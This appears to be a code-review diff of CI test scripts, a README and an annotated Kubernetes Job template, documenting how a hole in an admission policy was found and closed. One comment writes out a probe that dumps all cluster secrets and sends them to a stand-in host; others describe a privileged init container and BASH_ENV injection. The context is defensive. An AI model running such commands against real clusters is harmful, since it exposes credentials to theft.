echo "== 4. a missing pin is unverifiable, not green"
|
|
||||||
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 5. entry naming"
|
|
||||||
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
|
|
||||||
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
|
|
||||||
done
|
|
||||||
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
|
|
||||||
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 6. frontmatter"
|
|
||||||
mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
|
|
||||||
|
|
||||||
for key in date branch title; do
|
|
||||||
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
|
|
||||||
done
|
|
||||||
|
|
||||||
# The copied-template failure: the body was rewritten, the date never was.
|
|
||||||
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|
|
||||||
|| bad "accepted a date/filename disagreement"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 7. the three required sections, and their bodies"
|
|
||||||
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
|
|
||||||
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
|
|
||||||
done
|
|
||||||
|
|
||||||
# A heading with nothing under it is the way this floor gets defeated in practice.
|
|
||||||
mk_tree "$D"
|
|
||||||
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
|
|
||||||
import sys,re
|
|
||||||
p=sys.argv[1]; s=open(p).read()
|
|
||||||
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
|
|
||||||
open(p,'w').write(s)
|
|
||||||
PY
|
|
||||||
run "$D"
|
|
||||||
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
|
|
||||||
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
|
|
||||||
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
|
|
||||||
|
|
||||||
echo
|
|
||||||
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
|
|
||||||
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
|
||||||
@@ -36,13 +36,7 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
|
|||||||
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
||||||
|
|
||||||
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
||||||
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
|
for stage in spec-immutability lint l0 render-golden l1 conformance; do
|
||||||
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
|
|
||||||
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
|
|
||||||
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
|
|
||||||
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
|
|
||||||
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
|
|
||||||
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
|
|
||||||
cat > "${CI}/${stage}.sh" <<'STUB'
|
cat > "${CI}/${stage}.sh" <<'STUB'
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
||||||
@@ -190,21 +184,6 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
|
|||||||
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
||||||
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
||||||
|
|
||||||
echo
|
|
||||||
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
|
|
||||||
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
|
|
||||||
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
|
|
||||||
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
|
|
||||||
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
|
|
||||||
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
|
|
||||||
# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
|
|
||||||
run_gate STAGE_RC_decisions_log=1
|
|
||||||
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
|
|
||||||
run_gate STAGE_RC_decisions_log=3
|
|
||||||
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
|
|
||||||
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
|
|
||||||
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
|
|
||||||
|
|
||||||
echo
|
echo
|
||||||
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
||||||
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||||
@@ -25,20 +25,59 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02).
|
|||||||
commented with the test/requirement that needs it — only as the matching fault-injection
|
commented with the test/requirement that needs it — only as the matching fault-injection
|
||||||
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
test lands. This is a **privileged test identity**: never reused by workloads, its own
|
||||||
audit item.
|
audit item.
|
||||||
- `chainsaw-job.yaml` — the Job skeleton. Single entrypoint `./run.sh`; CI sets `args` to
|
- `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per
|
||||||
`--requirements <touched IDs>` (merge gate) or `--layer all --strict-coverage` (phase
|
run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the
|
||||||
exit). Image pinned to `versions.env` `CHAINSAW_IMAGE`.
|
commit under test; artifacts leave over stdout. Its header is the authority on the
|
||||||
|
substitution tokens and the admission constraints it satisfies, and records the
|
||||||
|
`initContainers` hole that was found and closed alongside it — read it before editing
|
||||||
|
either file.
|
||||||
|
- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's
|
||||||
|
entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a
|
||||||
|
file in the image rather than an inline script in the Job precisely so admission can pin
|
||||||
|
it: a policy cannot tell the committed script from an attacker's when both are just `args`
|
||||||
|
on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose,
|
||||||
|
and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than
|
||||||
|
honoured — a URL taken from env would let the trigger choose which repository's code runs
|
||||||
|
as `conformance-runner`. This branch's Job depends on that interface:
|
||||||
|
`CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src`
|
||||||
|
(hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`.
|
||||||
|
|
||||||
## Flow
|
## Flow
|
||||||
1. CI (Gitea Actions, delivered in T-6.1b) creates a Job from `chainsaw-job.yaml` (via a
|
1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the
|
||||||
trigger with narrow rights: create Job + read its logs/status — *not* a broad
|
runner image digest and the commit SHA — replaces `args` with the invocation shape, and
|
||||||
kubeconfig).
|
`create`s the Job under the narrow `conformance-trigger` identity (create/get jobs, get
|
||||||
2. The Job clones/loads the impl repo at the commit under test into `/workspace` and runs
|
pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**).
|
||||||
`./run.sh` under `conformance-runner`.
|
2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce +
|
||||||
3. `run.sh` runs Chainsaw over the selected tests and writes `report.junit.xml` +
|
fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary.
|
||||||
`coverage/` to the results volume (`/workspace/conformance/_artifacts`).
|
3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it
|
||||||
4. CI collects those artifacts (results volume or the terminating log stream, which echoes
|
shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does
|
||||||
their paths) and enforces the merge / phase-exit gate on them.
|
not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** —
|
||||||
|
the suite runs at the commit under test or not at all. The read-only Gitea credential
|
||||||
|
reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys
|
||||||
|
`username`/`token`), never as a volume: admission allows no volume but `workspace` and
|
||||||
|
`results`.
|
||||||
|
4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` +
|
||||||
|
`coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`).
|
||||||
|
5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to
|
||||||
|
stdout, carrying `bytes`, `lines` and `sha256` in **both** the BEGIN and END markers. CI
|
||||||
|
decodes it from `kubectl logs` and must make all five completeness checks listed above
|
||||||
|
`conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead
|
||||||
|
of decoding to plausible garbage.
|
||||||
|
|
||||||
|
## Prerequisites before this Job can run at all
|
||||||
|
- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and
|
||||||
|
`token`: a **read-only** Gitea token for this repository. Never a write token or a
|
||||||
|
push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6).
|
||||||
|
- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge
|
||||||
|
before this template is usable; its digest is what the trigger substitutes. Contract the
|
||||||
|
image MUST meet, because the Job and the admission policy both depend on it:
|
||||||
|
- bash, git, python3, chainsaw and kubectl on `PATH`;
|
||||||
|
- a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different
|
||||||
|
uid in the Containerfile means the Job will not start;
|
||||||
|
- `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**,
|
||||||
|
mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins
|
||||||
|
that exact path, so an image without it cannot run the clone step and no other path will
|
||||||
|
be admitted.
|
||||||
|
|
||||||
## Phase 0
|
## Phase 0
|
||||||
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux
|
||||||
|
|||||||
@@ -1,23 +1,175 @@
|
|||||||
# =============================================================================
|
# =============================================================================
|
||||||
# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
|
# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
|
||||||
|
# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
|
||||||
#
|
#
|
||||||
# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
|
# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
|
||||||
# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
|
# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
|
||||||
# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
|
# create a permanent Job object and fight the trigger for ownership.
|
||||||
# CI collects, and enforces the merge / phase-exit gate on the outcome.
|
|
||||||
#
|
#
|
||||||
# Two invocation shapes (CI sets args):
|
# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
|
||||||
# * MERGE GATE: ./run.sh --requirements <touched R-IDs> (subset)
|
# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
|
||||||
# * PHASE EXIT: ./run.sh --layer all (full suite)
|
# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
|
||||||
|
# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
|
||||||
#
|
#
|
||||||
# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
|
# -----------------------------------------------------------------------------
|
||||||
# Chosen = a shared results emptyDir + a terminating log stream, with an
|
# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
|
||||||
# OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
|
# -----------------------------------------------------------------------------
|
||||||
# no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
|
# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
|
||||||
# once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
|
# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
|
||||||
# results volume (or scrapes the pod log, which echoes their paths).
|
# ONLY: exactly one container on a digest-pinned conformance-runner image,
|
||||||
|
# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
|
||||||
|
# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
|
||||||
|
# host namespaces, non-root with privilege escalation off, and — the constraint that
|
||||||
|
# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
|
||||||
#
|
#
|
||||||
# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
|
# So the git credential CANNOT be a projected/secret volume, and the init container
|
||||||
|
# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
|
||||||
|
# * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
|
||||||
|
# BY SECRET NAME ONLY — no token literal ever appears in this file;
|
||||||
|
# * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
|
||||||
|
# readOnlyRootFilesystem stays true without a third volume and without subPath
|
||||||
|
# mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
|
||||||
|
# by the non-root runner).
|
||||||
|
#
|
||||||
|
# Verify before changing anything here:
|
||||||
|
# kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
|
||||||
|
# --resource <rendered job> \
|
||||||
|
# --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
|
||||||
|
# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
|
||||||
|
# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
|
||||||
|
# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
|
||||||
|
# never examined, so the exact escalation the policy exists to stop was reachable one
|
||||||
|
# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
|
||||||
|
# compliant:
|
||||||
|
#
|
||||||
|
# * this template with ONLY the init container's args replaced by
|
||||||
|
# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
|
||||||
|
# * and (the coordinator's independent reproduction) a `privileged: true`
|
||||||
|
# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
|
||||||
|
#
|
||||||
|
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED
|
||||||
|
#
|
||||||
|
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
||||||
|
#
|
||||||
|
# Closed by new rules in that policy, authorised by the coordinator in this PR
|
||||||
|
# (the original brief forbade policy edits; that was to stop the boundary being BENT to
|
||||||
|
# fit a Job, not to stop a hole being closed):
|
||||||
|
# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
|
||||||
|
# container, on the digest-pinned runner image, `command:
|
||||||
|
# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
|
||||||
|
# not privileged. The clone logic moved OUT of this manifest and into the image for
|
||||||
|
# exactly this reason: a policy cannot vet a shell script passed as `args`, so the
|
||||||
|
# script had to stop being caller-supplied data. It stays reviewable as
|
||||||
|
# conformance/incluster/conformance-clone.
|
||||||
|
# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
|
||||||
|
# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
|
||||||
|
# verified here, and the rule costs nothing if it is true.
|
||||||
|
# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
|
||||||
|
# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
|
||||||
|
# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
|
||||||
|
# sources it before running a non-interactive script. Names are allowlisted per container;
|
||||||
|
# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
|
||||||
|
# environment-specific, and conformance-runner can already read this namespace's Secrets
|
||||||
|
# through its own RBAC, so pinning the source would buy nothing).
|
||||||
|
#
|
||||||
|
# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
|
||||||
|
# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
|
||||||
|
# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
|
||||||
|
# `envfrom-whole-secret` — so they stay failing.
|
||||||
|
#
|
||||||
|
# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
|
||||||
|
# committed shape" policy is only as good as its enumeration of every field that can carry
|
||||||
|
# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
|
||||||
|
# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
|
||||||
|
# does, that is the finding, not an oversight to work around.
|
||||||
|
#
|
||||||
|
# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
|
||||||
|
# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
|
||||||
|
#
|
||||||
|
# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
|
||||||
|
# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
|
||||||
|
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
|
||||||
|
# that belongs to a script — a trap this file walked into while the clone logic was still an
|
||||||
|
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
|
||||||
|
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
|
||||||
|
# with a two-token sed, nothing cleverer:
|
||||||
|
#
|
||||||
|
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||||
|
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||||
|
#
|
||||||
|
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
||||||
|
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
||||||
|
# are committed literals, so the substitution cannot repoint the image at another
|
||||||
|
# repository, and the template still satisfies the policy's image pattern before
|
||||||
|
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
||||||
|
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
||||||
|
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||||
|
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||||
|
#
|
||||||
|
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
|
||||||
|
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
|
||||||
|
# file be handed to `kyverno apply` as-is.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
|
||||||
|
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
|
||||||
|
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
|
||||||
|
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
|
||||||
|
#
|
||||||
|
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
|
||||||
|
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
|
||||||
|
#
|
||||||
|
# so:
|
||||||
|
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
|
||||||
|
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
|
||||||
|
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
|
||||||
|
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
|
||||||
|
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
|
||||||
|
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
|
||||||
|
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
|
||||||
|
#
|
||||||
|
# The first three are measured working by the image build (PR #18); the last two are measured
|
||||||
|
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
|
||||||
|
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
|
||||||
|
# The committed default below is the narrowest shape that works.
|
||||||
|
#
|
||||||
|
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
||||||
|
# security boundary should not encode which toolchain an image happens to ship, and the failure
|
||||||
|
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
|
||||||
|
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
||||||
|
#
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
||||||
|
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
||||||
|
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
||||||
|
#
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
# <base64 of the tgz, wrapped at 76 columns>
|
||||||
|
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||||
|
#
|
||||||
|
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
||||||
|
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
||||||
|
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
||||||
|
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
||||||
|
# stream to plausible garbage without complaint. See the block comment above
|
||||||
|
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
||||||
|
#
|
||||||
|
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
||||||
|
# transport is the pod's log, so the Job must finish while that log still exists.
|
||||||
# =============================================================================
|
# =============================================================================
|
||||||
apiVersion: batch/v1
|
apiVersion: batch/v1
|
||||||
kind: Job
|
kind: Job
|
||||||
@@ -28,7 +180,10 @@ metadata:
|
|||||||
app.kubernetes.io/part-of: conformance
|
app.kubernetes.io/part-of: conformance
|
||||||
spec:
|
spec:
|
||||||
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
||||||
|
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
||||||
|
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
||||||
ttlSecondsAfterFinished: 3600
|
ttlSecondsAfterFinished: 3600
|
||||||
|
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
||||||
template:
|
template:
|
||||||
metadata:
|
metadata:
|
||||||
labels:
|
labels:
|
||||||
@@ -37,38 +192,118 @@ spec:
|
|||||||
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
||||||
restartPolicy: Never
|
restartPolicy: Never
|
||||||
securityContext:
|
securityContext:
|
||||||
|
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
||||||
|
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
||||||
|
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
||||||
|
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
||||||
|
# emptyDirs group-writable for that uid.
|
||||||
runAsNonRoot: true
|
runAsNonRoot: true
|
||||||
|
runAsUser: 65532
|
||||||
|
runAsGroup: 65532
|
||||||
|
fsGroup: 65532
|
||||||
seccompProfile: { type: RuntimeDefault }
|
seccompProfile: { type: RuntimeDefault }
|
||||||
containers:
|
initContainers:
|
||||||
- name: chainsaw
|
# ---------------------------------------------------------------------
|
||||||
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
|
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||||
image: ghcr.io/kyverno/chainsaw:v0.2.12
|
#
|
||||||
workingDir: /workspace/conformance
|
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
||||||
# The suite repo is delivered into /workspace (git clone init-container or
|
# conformance/incluster/conformance-clone and is baked into the runner image at
|
||||||
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
|
# /usr/local/bin/conformance-clone. That is what makes the init container
|
||||||
command: ["./run.sh"]
|
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
|
||||||
# CI overrides args per invocation shape:
|
# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||||
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
|
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||||
# ["--layer", "all", "--strict-coverage"] (phase exit)
|
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||||
args: ["--layer", "all", "--strict-coverage"]
|
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||||
|
# pins this container to that one path with NO args, so it carries no
|
||||||
|
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||||
|
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||||
|
#
|
||||||
|
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||||
|
# is not 40 hex characters before it touches the network.
|
||||||
|
# ---------------------------------------------------------------------
|
||||||
|
- name: clone-suite-at-commit
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||||
|
command: ["/usr/local/bin/conformance-clone"]
|
||||||
env:
|
env:
|
||||||
- name: CONF_ROOT
|
- name: CONFORMANCE_GIT_SHA
|
||||||
value: /workspace/conformance
|
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||||
|
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||||
|
# READ-ONLY Gitea token with read access to this one repository — never a write
|
||||||
|
# token, never a deploy key with push. Keys: `username`, `token`.
|
||||||
|
# An env var is not a volume, which is how this coexists with the admission
|
||||||
|
# policy's workspace/results-only rule.
|
||||||
|
- name: GITEA_USERNAME
|
||||||
|
valueFrom:
|
||||||
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||||
|
- name: GITEA_TOKEN
|
||||||
|
valueFrom:
|
